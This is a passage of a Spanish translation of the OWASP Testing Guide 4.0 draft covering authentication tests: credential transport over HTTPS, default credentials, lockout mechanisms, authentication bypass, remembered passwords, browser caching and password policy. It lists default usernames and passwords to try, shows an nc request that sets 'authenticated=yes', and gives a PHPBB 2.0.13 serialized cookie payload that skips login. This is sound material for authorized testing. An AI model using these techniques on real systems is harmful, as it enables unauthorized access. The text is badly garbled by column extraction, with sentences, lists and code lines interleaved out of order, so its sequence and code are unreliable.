Host: www.example.com Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404

Accept: text/xml,application/xml,application/xhtml+xml,text/html Accept: text/xml,application/xml,application/xhtml+xml,text/html Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Keep-Alive: 300 Connection: keep-alive Connection: keep-alive Referer: http://www.example.com/homepage.do Referer: https://www.example.com/form.html Cookie: SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH0QNSJ3VQB 6pLhjkW6F

If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT If-None-Match: “43a01-5b-4868915f”

Content-Type: application/x-www-form-urlencoded Content-length: 45 User=test&Pass=test&portal=ExamplePortal

Podemos ver que nuestra petición se dirige a www.example.com:443/login.do usando HTTPS. Pero si echamos un vistazo al encabezado Referer (la página desde la que ingresamos), es www.example.com/homepage.do y es accesible a través de un HTTP simple. Aunque estamos enviando datos a través de HTTPS, esta implementación puede permitir ataques SSLStrip (un tipo de ataque de Hombre en Medio).

Se puede ver que los datos se transfieren en texto claro en la URL y no en el cuerpo de la petición como antes. Pero debemos considerar que SSL/TLS es un protocolo de nivel 5, un nivel inferior al HTTP, por lo que el paquete entero de HTTP todavía está encriptado haciendo imposible la lectura de la URL para un usuario malintencionado que utiliza un sniffer. Sin embargo, como se dijo antes, no es una buena práctica utilizar el método GET para enviar datos a una aplicación web, ya que la información contenida en la URL se puede almacenar en muchos lugares tales como registros de proxys y servidores web.

Ejemplo 4: Envío de datos con el método GET a través de HTTPS Prueba Caja Gris En este último ejemplo, supongamos que la aplicación transfiere datos mediante el método GET. Este método nunca se debe utilizar en un formulario que transmite datos sensibles como nombre de usuario y contraseña, porque los datos se muestran en texto claro en la URL y esto provoca todo un conjunto de temas de seguridad. Por ejemplo, la URL que se solicita se encuentra fácilmente disponible en los registros del servidor o en el historial del navegador, lo que hace que sus datos sensibles puedan ser recuperados por personas no autorizadas. Este ejemplo es puramente demostrativo, pero, en realidad, se recomienda enfáticamente utilizar mejor el método POST.

Hable con los desarrolladores de la aplicación web y trate de entender si son conscientes de las diferencias entre los protocolos HTTP y HTTPS y por qué deben usar HTTPS para la transmisión de información sensible. Luego, revise con ellos si se utiliza HTTPS en cada petición sensible, como las de registro en páginas, para evitar que usuarios no autorizados intercepten los datos.

Herramientas

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 102

Guia de pruebas 4.0 "Borrador"

• WebScarab

• Aplicaciones con cuentas predeterminadas fijas incorporadas con un usuario y contraseña predefinido.

• OWASP Zed Attack Proxy (ZAP) • Aplicaciones que no obligan al usuario a cambiar las credenciales por defecto después de la primera sesión. Referencias Libros Blancos • HTTP/1.1: Security Considerations - w3.org

Cómo probar

• SSL is not about encryption

Pruebas de las credenciales por defecto de aplicaciones comunes

Pruebas de las credenciales por defecto (OTG-AUTHN-002)

En la prueba de Caja Negra, el evaluador no sabe nada acerca de la aplicación y su infraestructura subyacente. En realidad, esto no suele ser cierto, y se conoce alguna información acerca de la aplicación. Supongamos que usted ha identificado, mediante el uso de las técnicas descritas en esta guía de pruebas bajo el capítulo de recolección de información, por lo menos una o más aplicaciones comunes que pueden contener interfaces administrativas accesibles.

Resumen En la actualidad, las aplicaciones web a menudo hacen uso de software popular de código abierto o comercial que puede ser instalado en servidores con configuración mínima o personalización para requisitos particulares del administrador del servidor. Por otra parte, muchos dispositivos de hardware (routers de red y servidores de base de datos) ofrecen configuración basada en web o interfaces administrativas.

A menudo estas aplicaciones, una vez instaladas, no están configuradas correctamente y las credenciales predeterminadas proporcionadas para la autenticación inicial y configuración nunca son cambiadas. Estas credenciales predeterminadas son bien conocidas por los evaluadores de penetración y, por desgracia, también por atacantes maliciosos que pueden utilizarlas para tener acceso a varios tipos de aplicaciones. Además, en muchas situaciones, cuando se crea una nueva cuenta en una aplicación, una contraseña por defecto (con algunas características estándar) se genera. Si esta contraseña es predecible y el usuario no la cambia en el primer acceso, esto puede llevar a un atacante a obtener acceso no autorizado a la aplicación.

La causa principal de este problema puede ser identificada como:

• Personal técnico sin experiencia que no es consciente de la importancia de cambiar las contraseñas por defecto en componentes de la infraestructura instalada o dejar la contraseña por defecto para "facilidad de mantenimiento". • Programadores que dejan puertas traseras para tener fácil acceso y probar su aplicación y después olvidan eliminarlas.

Cuando usted ha identificado una interfaz de aplicación, por ejemplo, una interfaz del router de web Cisco o un portal administrador Weblogic, compruebe que los nombres de usuario y contraseñas conocidos para estos dispositivos no resulten en una autenticación exitosa. Para ello puede consultar la documentación del fabricante o, de una manera mucho más simple, usted puede encontrar credenciales comunes mediante la búsqueda de un motor o utilizando uno de los sitios o herramientas enumeradas en la sección de referencia.

Cuando se enfrente a aplicaciones donde no tiene una lista de cuentas de usuario común o por defecto (por ejemplo debido a que la aplicación no es

conocida), podemos intentar adivinar las credenciales válidas por defecto. Note que la aplicación probada puede tener una política de bloqueo de cuentas habilitada y múltiples intentos de adivinar la contraseña con un nombre de usuario conocido, lo que puede causar que la cuenta se bloquee. Si es posible bloquear la cuenta del administrador, puede ser problemático para el administrador del sistema restablecerla.

Muchas aplicaciones tienen mensajes de error detallados que informan a los usuarios sobre la validez de nombres de usuario introducidos. Esta información será útil cuando se busquen cuentas de usuario por defecto o predecibles. Dicha funcionalidad puede encontrarse, por ejemplo, en las páginas de registro, restablecimiento de contraseña, contraseña olvidada y de inscripción. Una vez que ha encontrado un nombre de usuario por defecto, también podría empezar a adivinar contraseñas para esta cuenta.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 103

Guia de pruebas 4.0 "Borrador"

Puede encontrar más información acerca de este procedimiento en la sección Probando la enumeración de usuarios y cuentas de usuario predecibles y en la sección de Probando políticas de contraseñas débiles.

• Busque nombres de cuentas y contraseñas en los comentarios del código fuente. También busque en directorios de respaldo el código fuente (o copias de seguridad del código fuente) que pueden contener comentarios y códigos interesantes.

Prueba de las contraseñas por defecto en cuentas nuevas Puesto que estos tipos de credenciales predeterminadas están limitados a menudo a cuentas administrativas, puede proceder de la siguiente manera:

• Intente usar los siguientes nombres de usuario - “admin”, “administrator”, “root”, “system”, “guest”, “operator”, o “super”. Éstos son populares entre los administradores de sistemas y son de uso frecuente. Además, podría tratar “qa”, “test”, “test1”, “testing” y nombres similares. Pruebe cualquier combinación de los anteriores en el nombre de usuario y los campos de contraseña. Si la aplicación es vulnerable a la enumeración de nombres de usuario y logra identificar con éxito cualquiera de los nombres de usuario anteriores, intente las contraseñas de una manera similar. Además, intente con una contraseña vacía o una de los siguientes “password”, “pass123”, “password123”, “admin”, o “guest” con las cuentas anteriores o cualquier otra cuenta enumerada. También puede intentar más permutaciones de las anteriores. Si estas contraseñas fallan, valdría la pena intentar usar una lista común de nombres de usuario y contraseñas y realizar varias peticiones contra la aplicación. Esto puede, sin duda, ser secuenciado para ahorrar tiempo. • Los usuarios administradores de una aplicación se nombran a menudo con el nombre de la aplicación u organización. Esto significa que si está probando una aplicación denominada "Oscuridad", intente usar oscuridad/oscuridad o cualquier otra combinación similar como el nombre de usuario y contraseña. • Cuando se realiza una prueba para un cliente, inténtelo usando los nombres de contactos que reciban como nombres de usuario con contraseñas comunes. Las direcciones de correo electrónico de clientes revelan el acuerdo de nombres para cuentas del usuario: si el empleado John Doe tiene la dirección de correo electrónico [email protected], puede tratar de encontrar los nombres de los administradores de sistemas en las redes sociales y adivinar su nombre de usuario mediante la aplicación de la misma convención a su nombre.

• Trate de usar todos los nombres de usuario anteriores con contraseñas en blanco. • Revise la fuente de la página y JavaScript, ya sea a través de un proxy o mediante la visualización de la fuente. Busque cualquier referencia a los usuarios y contraseñas en la fuente. Por ejemplo “If username=’admin’ then starturl=/admin.asp else /index.asp”. (para un registro exitoso versus un registro fallido).También, si usted tiene una cuenta válida, entonces registre y revise cada solicitud y respuesta para un registro válido versus un registro no válido, como parámetros adicionales ocultos, peticiones GET interesantes (login = yes), etc.

Cuando se crea una cuenta nueva en una aplicación, también puede ocurrir que a la cuenta se le asigne una contraseña por defecto. Esta contraseña podría tener algunas características estándar, lo que la hace predecible.

Si el usuario no la cambia en el primer uso (esto sucede a menudo si el usuario no está obligado a cambiarlo), o si el usuario todavía no ha iniciado una sesión en la aplicación, esto puede llevar a un atacante a obtener acceso no autorizado a la aplicación.

El asesoramiento previo sobre una posible política de bloqueo y mensajes de error detallados también son aplicables aquí, cuando se evalúan las contraseñas por defecto.

Los siguientes pasos pueden aplicarse para probar estos tipos de credenciales predeterminadas:

• Mirar en la página de registro de usuarios puede ayudar a determinar el formato esperado y la longitud mínima o máxima de nombres y contraseñas de la aplicación. Si no existe una página de registro de usuarios, determine si la organización utiliza un acuerdo de nomenclatura estándar para los nombres de usuario como su dirección de correo electrónico o el nombre antes de la "@" en el correo electrónico. • Trate de extrapolar, a partir de la aplicación, cómo se generan los nombres de usuario. Por ejemplo, ¿un usuario puede escoger su propio nombre de usuario o el sistema genera un nombre de cuenta para el usuario basado en alguna información personal o usando una secuencia predecible? Si la aplicación genera los nombres de cuenta en una secuencia predecible, como user7811, trate de disolver recursivamente todas las cuentas posibles. Si puede identificar una respuesta diferente de la aplicación cuando se utiliza un nombre de usuario válido y una contraseña incorrecta, entonces puede intentar un ataque forzoso con el nombre de usuario válido (o rápidamente probar cualquiera de las contraseñas comunes identificadas antes en la sección de referencia).

• Trate de determinar si la contraseña generada por el sistema es predecible. Para ello, cree rápidamente muchas cuentas nuevas, una tras otra, para que pueda comparar y determinar si las contraseñas son predecibles. Si son

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 104

Guia de pruebas 4.0 "Borrador"

previsibles, intente correlacionar estas con los nombres de usuario o las cuentas enumeradas y utilizarlas como base para un ataque forzado. Referencias • Si usted ha identificado el acuerdo de nomenclatura correcta para el nombre de usuario, trate de "forzar" contraseñas con alguna secuencia predecible común, por ejemplo, las fechas de nacimiento.

Libros Blancos • CIRT: cirt.net

• Trate de usar todos los nombres de usuario anteriores con contraseñas en blanco, o utilice también el nombre de usuario como valor de la contraseña.

• Government Security - Default Logins and Passwords for Networked Devices: governmentsecurity.org • Virus.org: virus.org

Prueba de Caja Gris Los siguientes pasos se basan completamente en un enfoque de Caja Gris. Si sólo dispone de una parte de esta información, consulte las pruebas de Caja Negra para rellenar los espacios.

• Hable con el personal de IT para determinar qué contraseñas utilizan para el acceso administrativo y cómo se lleva a cabo la administración de la aplicación.

• Pregunte al personal de IT si se cambian las contraseñas por defecto y si las cuentas de usuario por defecto están deshabilitadas. • Examine la base de datos del usuario en busca de credenciales predeterminadas como se describe en la sección de pruebas de Caja Negra. También busque campos de contraseña vacíos. • Examine el encriptado de código duro para nombres de usuario y contraseñas. • Verifique los archivos de configuración que pueden contener nombres de usuario y contraseñas. • Examine la política de contraseñas y, si la aplicación genera sus propias contraseñas para los usuarios nuevos, revise la política en el uso de este procedimiento.

Pruebas para determinar un mecanismo de bloqueo débil (OTG-AUTHN-003) Resumen Los mecanismos de bloqueo se utilizan para mitigar los ataques de fuerza bruta o adivinanza de contraseñas. Las cuentas se bloquean normalmente después de tres a cinco intentos de inicio de sesión sin éxito y solo pueden ser desbloqueadas después de un periodo determinado de tiempo, a través de la intervención de un administrador. Los mecanismos de bloqueo de cuenta requieren un equilibrio entre la protección de cuentas de acceso no autorizado y proteger a los usuarios de una negativa al acceso autorizado.

Tome en cuenta que esta prueba debe cubrir todos los aspectos de autenticación donde los mecanismos de bloqueo serían apropiados, por ejemplo, cuando al usuario se le presentan preguntas de seguridad en mecanismos de contraseña olvidada (ver Pruebas para determinar la seguridad débil de pregunta/respuesta (OTG-AUTHN-008)).

Sin un mecanismo de bloqueo fuerte, la aplicación puede ser susceptible a ataques de fuerza bruta. Después de un ataque de fuerza bruta exitoso, un usuario malintencionado podría tener acceso a:

Herramientas • Burp Intruder: portswigger.net • THC Hydra: thc.org

• Información o datos confidenciales: Las secciones privadas de una aplicación web podrían revelar documentos confidenciales, datos de perfil de los usuarios, información financiera, datos bancarios, relaciones de los usuarios, etc..

• Brutus: hoobie.net • Nikto 2: cirt.net

• Los paneles de administración: Estas secciones son utilizadas por los webmasters para gestionar (modificar, borrar, añadir) el contenido de

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 105

Guia de pruebas 4.0 "Borrador"

aplicaciones web, gestión de creación de usuarios, asignar diferentes privilegios a los usuarios, etc.

[6] Inicie la sesión con la contraseña correcta. La aplicación devuelve "su cuenta está bloqueada.", confirmando así que la cuenta se bloquea después de cinco intentos de autenticación incorrecta.

• Oportunidades para nuevos ataques: Las secciones de una aplicación web autenticadas pueden contener vulnerabilidades que no están

[7] Intente entrar con la contraseña correcta cinco minutos más tarde. La aplicación devuelve "su cuenta está bloqueada.", lo que demuestra que el mecanismo de bloqueo no se desbloquea automáticamente después de cinco minutos.

presentes en la sección pública de la aplicación web y pueden contener funcionalidades avanzadas que no están disponibles para los usuarios públicos.

[8] Intente entrar con la contraseña correcta diez minutos más tarde. La aplicación devuelve "su cuenta está bloqueada.", lo que demuestra que el mecanismo de bloqueo no se desbloquea automáticamente después de diez minutos.

Objetivos de la prueba

[9] Inicie éxitosamente la sesión con la contraseña correcta quince minutos más tarde, lo que demuestra que el mecanismo de bloqueo se desbloquea automáticamente después de un período de diez a quince minutos.

• Evaluar la capacidad del mecanismo de bloqueo de cuentas para mitigar el ingreso forzado adivinando contraseñas. • Evaluar la resistencia del mecanismo de liberación para abrir sin autorización la cuenta.

Un CAPTCHA puede dificultar los ataques de fuerza bruta, pero puede venir con su propio conjunto de debilidades (ver Probando el CAPTCHA) y no debe reemplazar a un mecanismo de bloqueo.

Cómo probar Por lo general, para probar la fuerza de los mecanismos de bloqueo, se necesitará acceso a una cuenta a la que usted esté dispuesto o pueda darse el lujo de bloquear. Si tiene solo una cuenta con la que puede iniciar una sesión en la aplicación web, realice esta prueba al final del plan de pruebas para evitar que usted no pueda continuar su prueba debido a una cuenta bloqueada.

Para evaluar la capacidad del mecanismo de bloqueo de cuentas para mitigar el forzado o adivinanza de contraseñas, intente realizar un registro inválido mediante el uso de la contraseña incorrecta varias veces, antes de utilizar la contraseña correcta para verificar que la cuenta fue bloqueada. El siguiente es un ejemplo de la prueba:

[1] Intente iniciar la sesión con una contraseña incorrecta tres veces. [2] Inicie la sesión con la contraseña correcta, lo que demuestra que no se activa el mecanismo de bloqueo después de tres intentos de autenticación incorrecta. [3] Intente iniciar la sesión con una contraseña incorrecta cuatro veces. [4] Inicie la sesión con la contraseña correcta, lo que demuestra que no se activa el mecanismo de bloqueo después de cuatro intentos de autenticación incorrecta.

Para evaluar la resistencia del mecanismo de liberación para desbloquear la cuenta, inicie el mecanismo de desbloqueo y busque las debilidades.

Los mecanismos tipicos de desbloqueo pueden involucrar preguntas secretas o un link de desbloqueo por correo electrónico.El enlace de desbloqueo deberá ser un enlace único de un solo uso, para evitar que un atacante adivine o reproduzca el enlace y realice ataques forzosos en lotes. Las preguntas y respuestas secretas deben ser fuertes (ver Probando pregunta/respuesta de seguridad débil).

Note que un mecanismo de desbloqueo debe ser utilizado para desbloqueo de cuentas. No es lo mismo que un mecanismo de recuperación de contraseña.

Los factores a considerar cuando se implementa un mecanismo de bloqueo de cuenta son los siguientes:

[1] ¿Cuál es el riesgo de forzado o adivinanza de contraseñas en la aplicación? [2] ¿Basta un CAPTCHA para mitigar este riesgo?

[5] Intente iniciar la sesión con una contraseña incorrecta cinco veces.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 106

Guia de pruebas 4.0 "Borrador"

[3] El número de intentos de registro fallidos antes del bloqueo. Si el umbral de bloqueo es bajo, entonces los usuarios válidos pueden ser bloqueados a menudo. Si el umbral de bloqueo es alto, entonces el atacante tiene más intentos para forzar la cuenta antes de que se bloquee. Dependiendo del propósito de la aplicación, una rango entre cinco a diez intentos sin éxito es un umbral de bloqueo típico. [4] ¿Cómo se desbloquean las cuentas? • Manualmente, por un administrador: este es el método más seguro de desbloqueo, pero puede causar molestias a los usuarios y tomar tiempo "valioso" del administrador. - Observe que el administrador también debe tener un método de recuperación en caso de que su cuenta sea bloqueada. - El mecanismo de desbloqueo puede conducir a un ataque de negación de servicio si el objetivo de un atacante es bloquear las cuentas de los usuarios de la aplicación web. • Después de un período de tiempo: ¿Cuál es la duración del bloqueo? ¿Es suficiente para que la aplicación esté protegida? Por ejemplo, una duración del bloqueo de cinco a treinta minutos puede ser un buen acuerdo entre mitigar los ataques de fuerza bruta y molestar a los usuarios válidos. • A través de un mecanismo de autoservicio: Como se dijo antes, este mecanismo de autoservicio debe ser lo suficientemente seguro para evitar que el atacante pueda abrir cuentas por sí mismo.

Pruebas para eludir el esquema autenticación (OTG-AUTHN-004)

de

Resumen Mientras que la mayoría de las aplicaciones requieren autenticación para tener acceso a información privada o para ejecutar las tareas, no todos los métodos de autenticación son capaces de proporcionar una seguridad adecuada. La negligencia, ignorancia o una simple subvaloración de las amenazas de seguridad, a menudo resultan en esquemas de autenticación que pueden evitarse simplemente obviando el registro en la página y llamando directamente a una página interna que se supone debe accederse sólo después de que se realizó la autenticación.

Además, a menudo es posible sortear las medidas de autenticación alterando las solicitudes y engañando a la aplicación a pesar deque el usuario ya está autenticado. Esto se puede lograr modificando el parámetro de URL determinado, mediante la manipulación de la forma o por falsificación de las sesiones.

Referencias Vea el articulo de OWASP Sobre Ataques Forzosos.

Los problemas relacionados con el esquema de autenticación pueden encontrarse en diferentes etapas del ciclo de vida de desarrollo de software (SDLC), como las fases de diseño, desarrollo e implementación:

Remediación Aplique mecanismos de desbloqueo de cuentas dependiendo del nivel de riesgo. En orden de menor a mayor seguridad:

[1] Bloqueo y desbloqueo temporizado. [2] Desbloqueo con autoservicio (desbloqueo que envía un correo electrónico a la dirección de correo electrónico registrada). [3] Desbloqueo manual por un administrador.

• En los errores de la fase de diseño, se puede incluir una definición equivocada de las secciones de la aplicación a proteger, la opción de no aplicar protocolos de encriptación fuertes para asegurar la transmisión de las credenciales y muchos más. • En los errores de la fase de desarrollo, se puede incluir la aplicación incorrecta de la funcionalidad de validación de entrada o sin seguir las mejores prácticas de seguridad para el idioma específico. • En la fase de implementación de la aplicación, puede haber problemas durante la instalación de la aplicación (actividades de instalación y configuración) debido a la falta de habilidades técnicas requeridas o por falta de una buena documentación.

[4] Desbloqueo manual por un administrador con identificación de usuario positiva. Cómo probar Pruebas de Caja Negra

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 107

Guia de pruebas 4.0 "Borrador"

Hay varios métodos para eludir el esquema de autenticación que es usado por una aplicación web:

http://www.site.com/page.asp?authenticated=no

• Solicitud de página directa (navegación forzada) • Modificación de parámetros • Predicción de sesión ID

raven@blackbox /home $nc www.site.com 80

• Inyección de SQL

GET /page.asp?authenticated=yes HTTP/1.0

Solicitud de página directa Si una aplicación web implementa el control de acceso sólo en el registro en la página, el esquema de autenticación se podría eludir. Por ejemplo, si un usuario solicita directamente una página diferente a través de la navegación forzada, esa página puede no comprobar las credenciales del usuario antes de conceder el acceso. Intente acceder directamente a una página protegida a través de la barra de direcciones en su navegador para utilizar este método de prueba.

HTTP/1.1 200 OK Date: Sat, 11 Nov 2006 10:22:44 GMT Server: Apache Connection: close

Content-Type: text/html; charset=iso-8859-1

You Are Authenticated

Modificación de parámetros Otro problema relacionado con el diseño de la autenticación es cuando la aplicación verifica un inicio de sesión exitosa a base de parámetros de valor fijo. Un usuario podría modificar estos parámetros para acceder a las áreas protegidas sin proporcionar credenciales válidas. En el ejemplo siguiente, el parámetro "authenticated" se cambia a un valor de "yes", que le permite al usuario acceder. En este ejemplo, el parámetro está en la URL, pero un proxy también podría ser utilizado para modificar el parámetro, especialmente cuando los parámetros se envían como elementos de formulario en una petición POST o cuando los parámetros se almacenan en una cookie.

Predicción de sesión ID Muchas aplicaciones web gestionan la autenticación mediante el uso de identificadores de sesión (ID de la sesión). Por lo tanto, si es previsible la generación de Identificadores de Sesión, un usuario malintencionado

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 108

Guia de pruebas 4.0 "Borrador"

podría ser capaz de encontrar un Identificador de Sesión válida y obtener acceso no autorizado a la aplicación, haciéndose pasar por un usuario previamente autenticado.

Inyección de SQL (Formulario de Autenticación HTML) Una inyección de SQL es una técnica de ataque ampliamente conocida. Esta sección no describirá esta técnica en detalle ya que hay varias secciones en esta guía que explican técnicas de inyección más allá del alcance de esta sección.

En la siguiente figura, los valores dentro de las cookies aumentan linealmente, por lo que podría ser fácil para un atacante adivinar un Identificador de Sesión válida.

La siguiente figura muestra que con un simple ataque de inyección de SQL, a veces es posible eludir el formulario de autenticación.

En la siguiente figura, los valores dentro de las cookies cambian sólo parcialmente, por lo que es posible restringir un ataque de fuerza bruta a los campos definidos que se muestran a continuación.

Prueba de Caja Gris Si un atacante ha podido obtener el código fuente de la aplicación explotando una vulnerabilidad previamente descubierta (por ejemplo, salto de directorio), o de un depósito web (aplicaciones de código abierto), podrían realizarse ataques refinados contra la implementación del proceso de autenticación.

En el ejemplo siguiente (PHPBB 2.0.13 - Vulnerabilidad de Salto de Autenticación), en la línea 5 la función unserialize() analiza una cookie del usuario y establece valores en el $row array. En la línea 10, la contraseña hash del usuario MD5, almacenada dentro de la base de datos de acceso restringido, se compara a la que se suministra.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 109

Guia de pruebas 4.0 "Borrador"

1. if ( isset($HTTP_COOKIE_VARS[$cookiename . ‘_sid’]) || 2. { 3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . ‘_data’] ) ?

Resumen

4. 5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename ‘_data’])) : array();

Pruebas para recordatorios de contraseñas vulnerables (OTG-AUTHN-005)

.

6. 7. $sessionmethod = SESSION_METHOD_COOKIE; 8. }

Los navegadores a veces preguntarán al usuario si desea recordar la contraseña que acaba de ingresar. El navegador entonces almacenará la contraseña e ingresará automáticamente cada vez que el mismo formulario de autenticación sea visitado. Esto es una conveniencia para el usuario. Además, algunos sitios web ofrecen funcionalidades personalizadas de " Recuérdame" para permitir que los usuarios mantengan su sesión en un sistema de cliente específico.

9. 10. if( md5($password) == $row[‘user_password’] && $row[‘user_active’] )

11. 12. {

En PHP, una comparación entre un valor de la cadena y un valor booleano (1 - "TRUE"(verdadero)) siempre es "TRUE", por lo que mediante el suministro de la siguiente cadena (la parte importante es "b:1") a la función unserialize(), es posible eludir el control de autenticación:

Tener al navegador guardando contraseñas no es sólo conveniente para los usuarios finales, sino también para un atacante. Si un atacante puede tener acceso al navegador de la víctima (por ejemplo, a través de un ataque de Cross Site Scripting, o a través de un ordenador compartido), pueden recuperar las contraseñas almacenadas.

No es extraño que los navegadores almacenen las contraseñas de una manera fácilmente recuperable, sino que, incluso, si el navegador almacena contraseñas encriptadas que sólo pueden ser recuperadas mediante el uso de una contraseña maestra, un atacante podría recuperar la contraseña visitando el formulario de autenticación de la aplicación web de destino, introducir el usuario de la víctima, y dejar que el navegador introduzca la contraseña.

a:2:{s:11:”autologinid”;b:1;s:6:”userid”;s:1:”2”;}

Herramientas • WebScarab • WebGoat • OWASP Zed Attack Proxy (ZAP)

Adicionalmente, donde se aplican funciones personalizadas de "RememberMe", las debilidades en cómo la ficha es almacenada en el PC del cliente (por ejemplo usando credenciales de base64 codificado como ficha) podrían exponer las contraseñas de los usuarios. Desde principios del 2014, la mayoría de navegadores principales anulan cualquier uso de autocompletar = "off" con respecto a los formularios de contraseñas y como resultado de esto las consultas previas ya que no son necesarias y normalmente no se dan recomendaciones para desactivar esta característica. Sin embargo, esto también puede aplicarse a cosas como secretos secundarios que se pueden almacenar en el navegador sin darse cuenta.

Referencias Libros Blancos

Cómo probar

• Mark Roxberry: “PHPBB 2.0.13 vulnerability”

• Busque las contraseñas que se almacenan en una cookie. Examine las cookies almacenadas por la aplicación. Compruebe que las credenciales no se almacenan en texto claro, sino con funciones hash.

• David Endler: “Session ID Brute Force Exploitation and Prediction” http://www.cgisecurity.com/lib/SessionIDs.pdf

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 110

Guia de pruebas 4.0 "Borrador"

• Examinar el mecanismo de hashing: si se trata de un algoritmo común, bien conocido, compruebe su fuerza; en las funciones hash de creación propia ; intente varios nombres de usuario para comprobar si la función de hash es fácilmente predecible.

comparten la misma debilidad de presentar información sensible previamente mostrada.

• Compruebe que las credenciales sean enviadas solamente durante la fase el registro y no con cada solicitud a la aplicación.

La primera y más simple prueba consiste en introducir información sensible en la aplicación y cerrar la sesión. Entonces el evaluador hace clic en el botón "Atrás" del navegador para comprobar si accede o muestra información sensible ingresada anteriormente sin ser autenticado.

• Considere otros campos sensibles (por ejemplo, una respuesta a una pregunta secreta que debe ingresarse en una cuenta de recuperación de contraseña o formulario de desbloqueo).

Remediación Asegúrese que ninguna credencial sea almacenada en texto claro, o que sean fácilmente recuperables en forma codificada o encriptada en cookies.

Pruebas para buscar la debilidad de memoria caché del navegador (OTG-AUTHN-006)

Si pulsamos el botón "Back", el evaluador puede acceder a páginas anteriores, pero no acceder a las nuevas; entonces no es un problema de autenticación, sino un problema de historia del navegador. Si estas páginas contienen datos sensibles, esto significa que la aplicación no le prohibió al navegador su almacenamiento.

La autenticación no debe, necesariamente, estar implicada en la prueba. Por ejemplo, cuando un usuario introduce su dirección de correo electrónico para inscribirse a un boletín, esta información puede recuperarse si no se la maneja adecuadamente.

Resumen En esta fase el evaluador comprueba que la aplicación indique correctamente al navegador que no recuerde datos sensibles.

El botón "Atrás" puede detenerse para que no muestre datos sensibles. Esto puede hacerse mediante:

• Entregar la página a través de https. Los navegadores pueden almacenar información con fines de almacenamiento en caché e historia. El almacenamiento en caché se utiliza para mejorar el rendimiento; así la información que apareció previamente no necesita descargarse otra vez. Se utilizan mecanismos de historia para conveniencia del usuario, por lo que él puede ver exactamente lo que vio en el momento de obtener el recurso.

Si se muestra información sensible al usuario (como su dirección, datos de tarjeta de crédito, número de seguro social o usuario), esta información podría ser almacenada con fines de almacenamiento en caché o de historia y, por lo tanto, ser recuperables examinando la caché del navegador o pulsando el botón "Atrás" del navegador.

• Ajustando el Control de Caché: a "must-revalidate"

Cache de navegador Aquí los evaluadores comprueban que la aplicación no tiene fugas de datos sensibles hacia la caché del navegador. Para ello, pueden utilizar un proxy (como WebScarab) y buscar a través de las respuestas del servidor que pertenecen al tiempo de la sesión, verificando que para cada página que contenga información confidencial, el servidor instruyó al navegador para que no almacene los datos en caché. Una directiva de este tipo puede emitirse en los encabezados de respuesta HTTP: • Cache-Control: no-cache, no-store

Cómo probar Historia del navegador

• Expires: 0 • Pragma: no-cache

Técnicamente, el botón "Atrás" es una historia y no una memoria caché (ver http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.13). La memoria caché y la historia son dos entidades diferentes. Sin embargo,

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 111

Guia de pruebas 4.0 "Borrador"

Estas directivas son generalmente robustas, aunque indicadores adicionales pueden ser necesarios para el encabezado Cache-Control para prevenir de una mejor manera los archivos vinculados persistentemente en el sistema de archivos. Estos incluyen: • Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, smaxage=0

Prueba de Caja Gris La metodología para la prueba es equivalente al caso de la Caja Negra, ya que en ambos escenarios los evaluadores tienen acceso completo a las cabeceras de respuesta del servidor y el código HTML. Sin embargo, con pruebas de Caja Gris, el evaluador puede tener acceso a las credenciales de la cuenta que les permitirá probar páginas sensibles que son accesibles sólo a usuarios autenticados.

HTTP/1.1: Herramientas Cache-Control: no-cache • OWASP Zed Attack Proxy • Firefox add-on CacheViewer2 HTTP/1.0: Pragma: no-cache Referencias Expires: Libros Blancos • Caching in HTTP: w3.org Por ejemplo, si los evaluadores están probando una aplicación de comercio electrónico, deben buscar todas las páginas que contienen un número de tarjeta de crédito o alguna otra información financiera y comprobar que todas las páginas hacen cumplir la directiva de no-cache. Si encuentran páginas que contienen información crítica, pero que dejan de indicarle al navegador no almacenar su contenido en caché, ellos saben que la información sensible será almacenada en el disco, y pueden comprobar esto simplemente buscando la página en el caché del navegador.

La ubicación exacta donde se almacena esa información depende del sistema operativo del cliente y el navegador que se ha utilizado. Estos son algunos ejemplos:

Pruebas para determinar las políticas de contraseñas débiles (OTGAUTHN-007) Resumen El mecanismo de autenticación más frecuente y más fácilmente administrado es una contraseña estática. La contraseña representa las llaves del reino, pero a menudo es devaluada por los usuarios en nombre de la facilidad de uso. En cada uno de los últimos hacks de alto perfil que han revelado las credenciales de usuario, se lamenta que las contraseñas más comunes son: 123456, password y qwerty.

Objetivos de la prueba [1] Mozilla Firefox: • Unix/Linux: ~/.mozilla/firefox//Cache/ • Windows: C:\Documents and Settings\\Local Settings\Application Data\Mozilla\Firefox\Profiles\\Cache

Determine la resistencia de la aplicación contra ataques de fuerza bruta o adivinanza de contraseña usando diccionarios de contraseñas disponibles mediante la evaluación de los requerimientos de longitud, complejidad, reutilización y caducidad de las contraseñas.

[2] Internet Explorer: • C:\Documents and Settings\\Local Settings\Temporary Internet Files

Cómo probar [1] ¿Qué caracteres son permitidos y prohibidos para usarse en una contraseña? ¿El usuario necesita utilizar caracteres de diferentes conjuntos de

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 112

Guia de pruebas 4.0 "Borrador"

